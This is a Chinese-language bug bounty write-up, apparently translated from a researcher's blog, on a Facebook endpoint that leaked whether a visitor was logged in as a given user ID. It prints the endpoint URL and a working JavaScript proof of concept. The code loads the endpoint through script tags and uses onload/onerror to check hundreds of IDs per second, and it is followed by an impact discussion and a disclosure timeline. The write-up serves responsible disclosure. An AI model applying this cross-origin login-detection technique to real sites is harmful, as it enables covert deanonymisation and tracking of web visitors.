本文分享的是一個關於Facebook的漏洞,漏洞機制在於:可以通過一個網頁,以輸入Facebook用戶ID的方式,來識別其對應的Facebook用戶在當前時間內,是否處於Facebook登錄狀態。最終,漏洞上報後,Facebook方面花了半年多才修復了這個漏洞,並獎勵了$1000美金賞金。以下為作者漏洞發現的思路過程。
漏洞前言去年,Facebook深陷劍橋分析公司的用戶隱私事件中,馬克·扎克伯格被要求在國會上出席公開聽證會。聽證會上,其中就有一個問題就是,Facebook是否能通過自身或其嵌入應用的第三方網站來跟蹤用戶收集用戶信息。當時,很多媒體都對Facebook做了鋪天蓋地的報導,社會上也呈現出一邊倒的負面輿論。為此,作為向公眾擔憂的回應,Facebook宣布了很多數據安全措施,其中就包括了啟動「數據濫用懸賞」計劃(Data Abuse Bounty),旨在獎勵與Facebook用戶數據安全相關的漏洞隱患和行為發現,實現全社會對用戶數據保護的監督。
作為我來說,自去年發現了谷歌的搜索結果排名漏洞之後,我就著手研究,是否能通過其它網站來跟蹤或者說識別出Facebook用戶。經過大量測試後,我嘗試著尋找一個漏洞,基於該漏洞,可以發現網站訪問者是否登錄了某個相關聯的Facebook帳戶,而且,我希望最終可以實現的識別機制是,每秒要能識別數百個身份的效率。
漏洞發現過程Facebook部署了好多後端服務,用於全站各種AJAX請求。這些後端服務在安全實現方面,都在服務端響應架構中設置了合理的access-control-allow-origin頭和各種「神奇」前綴,以此來阻止JSON劫持和其它惡意攻擊。
首先,我在Facebook中尋找著不存在上述保護機制的服務端,和一些可以在URL連結中傳遞用戶ID的服務端,我還想方設法去解析Facebook響應內容,去確認URL連結中的UID是否正確。
其次,我著重查找了那些URL連結中包含用戶ID的相關圖片,且這些圖片在UID和關聯帳戶登錄相匹配時會產生不同行為,這樣的話,我就能進行一些構造利用,但也僅限一些特定ID(類似方法)。經測試發現,某張圖片確實在登錄匹配時發生了異常行為,但是其相關的URL連結中仍然包含了用於CSRF攻擊防禦的fb_dtsg參數,為了防止濫用,該參數對每位用戶來說都是不同的。
另外,我還檢查了URL連結中的所有301和302跳轉,我想如果可能的話,這種跳轉可能會以某種方式重定向到某張圖片,然後就能構造像上述的攻擊測試了。
最終,經過給大量的上述服務端檢查測試之後,我終於發現了一個服務端在行為方式上有所不同,儘管這只是一小點的略有差異,但是也能說明問題。這個服務端本身確實是有access-control-allow-origin消息控制頭的,但當URL連結中的用戶ID參數(在__user的URL中)與關聯帳戶的登錄行為不匹配時,服務端中就會包含一個」error「前綴,而當兩者行為匹配時,其中就不會包括任何前綴。URL中的用戶ID和關聯帳戶登錄行為匹配時,服務端響應為JSON內容。如下為用戶ID和關聯帳戶登錄行為不匹配以及匹配時的響應內容:
然而,由於煩人的access-control-allow-origin消息控制頭,瀏覽器會發起阻止,所以我不能通過XMLHttpRequest (XHR)方式對它進行調用。為此,我一度認為這是一個死胡同方法,但後來我又意識到,我可以用<script>塊加.src的方式來調用這個外部連結啊。總之,這種調用行為,肯定是不能成功登錄關聯帳戶的,但可以從以上兩種不同的響應方式和content-type頭中來綜合判斷出,關聯帳戶在當前時間內,是否登錄Facebook的狀態。為此,還可繼續通過利用<script>的onload 和 onerror事件方法來對登錄狀態進行一個有效判斷。
PoC我發現存在響應異常的Facebook服務端如下:
https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjeDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1159016196%7D&user=XXXXXXXXXXXX&a=1&dyn=7AgNe-4amaxx2u7aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&req=fetchstream_8&be=1&pc=PHASED%3ADEFAULT&rev=3832430&spin_r=3832430&spin_b=trunk&spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1
基於此,我可以構造一個簡單的 Javascript 腳本配合一些調用標籤去檢查相關用戶ID的Facebook登錄狀態。由於Facebook的後端為HTTP2協議,所以可以同時快速地處理大量類似請求。在我構造的查詢頁面中,可以每秒查詢400到500個用戶ID,如果按正常來算的話,在一分鐘之內就可以輕鬆查詢數千個用戶ID的登錄狀態。況且,Facebook的這個服務端無任何速率限制。
我構造的查詢頁面為:http://www.tomanthony.co.uk/security/fb_identifier/index.html
Facebook的用戶ID一般在登錄後的個人設置頁面會有顯示,如:
在這裡,如果你輸入查詢的用戶ID在當前時間內確實處於Facebook登錄狀態,它就會顯示:
如果查詢的用戶ID在當前時間內不處於Facebook登錄狀態,它的結果為:
其中主要用到的方法如下:
$(document).ready(function() {
for (i = 0; i < ids.length; i++) {
userid = ids[i];
var scriptblock = document.createElement("script");
scriptblock.src = "https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjdDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1059016196%7D&__user=" + userid + "&__a=1&__dyn=7AgNe-4amaxx2u6aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&__req=fetchstream_8&__be=1&__pc=PHASED%3ADEFAULT&__rev=3832430&__spin_r=3832430&__spin_b=trunk&__spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1";
scriptblock.id = userid;
scriptblock.onload = function() { update_auto_result(this.id, false); };
scriptblock.onerror = function() { update_auto_result(this.id, true); };
document.getElementById('scriptblock').appendChild(scriptblock);
}
});
function runcheck(userid)
{
var scriptblock = document.createElement("script");
scriptblock.src = "https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjdDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1059016196%7D&__user=" + userid + "&__a=1&__dyn=7AgNe-4amaxx2u6aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&__req=fetchstream_8&__be=1&__pc=PHASED%3ADEFAULT&__rev=3832430&__spin_r=3832430&__spin_b=trunk&__spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1";
scriptblock.id = userid;
scriptblock.onload = function() { show_result(userid, false); };
scriptblock.onerror = function() { show_result(userid, true); };
document.getElementById('manualblock').appendChild(scriptblock);
}
function show_result(userid, status)
{
if (userid == "")
return;
try {
if (status)
{
$("#FacebookStatus").html("You <span class='green'>are</span> currently logged in to <strong>" + userid + "</strong>");
}else{
$("#FacebookStatus").html("You <span class='red'>are not</span> currently logged in to <strong>" + userid + "</strong>");
}
}catch(err) {
//nada
}
}
function update_auto_result(userid, status)
{
var people = {};
people["4"] = "MarkZ";
if (status) {
if (userid in people)
{
$("#knownAccount").html("I know you! You are: " + people[userid]);
}else{
$("#knownAccount").html("I know you! You are: " + userid);
}
}
}
</script>
具體可以右鍵查看網頁源碼來參考。
漏洞危害單獨從漏洞利用方面來講,該漏洞影響有限,因為需要查詢某個Facebook用戶的登錄狀態,你還要需要知道他的Facebook用戶ID。
然而,」劍橋分析「數據隱私醜聞事件中就洩露了大量Facebook用戶信息,一旦這些信息被人惡意利用,結合該漏洞,無需其它Facebook APIs,就能對這些用戶的Facebook登錄狀態進行識別了。
另外,該漏洞最邪惡的攻擊利用者,如某些專制政府,他們手裡肯定掌握某些特定人員的如用戶ID的Facebook用戶信息。其次,如果在某些公司內網中,要收集內部人員的Facebook用戶信息也是非常容易的。
所以,綜合來說,確實漏洞威脅有限,但是,對大部份人來說,其影響可能很小,但對一些特定人群來說,影響就會很大。對於任何被識別的Facebook用戶來說,這也屬於個人隱私侵犯。
漏洞披露進程2018.4.20 漏洞初報
2018.4.20 Facebook回復我漏洞已經轉給相關內部安全團隊進行調查
2018.5.1 我詢問Facebook當前漏洞狀態
2018.5.2 Facebook回復仍然處理調查過程之中
2018.5.23 我發現漏洞已在 Chrome 瀏覽器環境進行了修復,但還可以通過Safari進行利用
2018.5.23 Facebook回復正在制訂修複方案
2018.6.20 Facebook獎勵了我$1000美金
2018.10.1 向 Facebook進行漏洞公開申請
2018.10.1 Facebook回復稱漏洞還在處於修復過程中
2018.10.1 我繼續跟進 之後Facebook回復稱可以公開漏洞
*參考來源:tomanthony,clouds編譯,轉載請註明來自FreeBuf.COM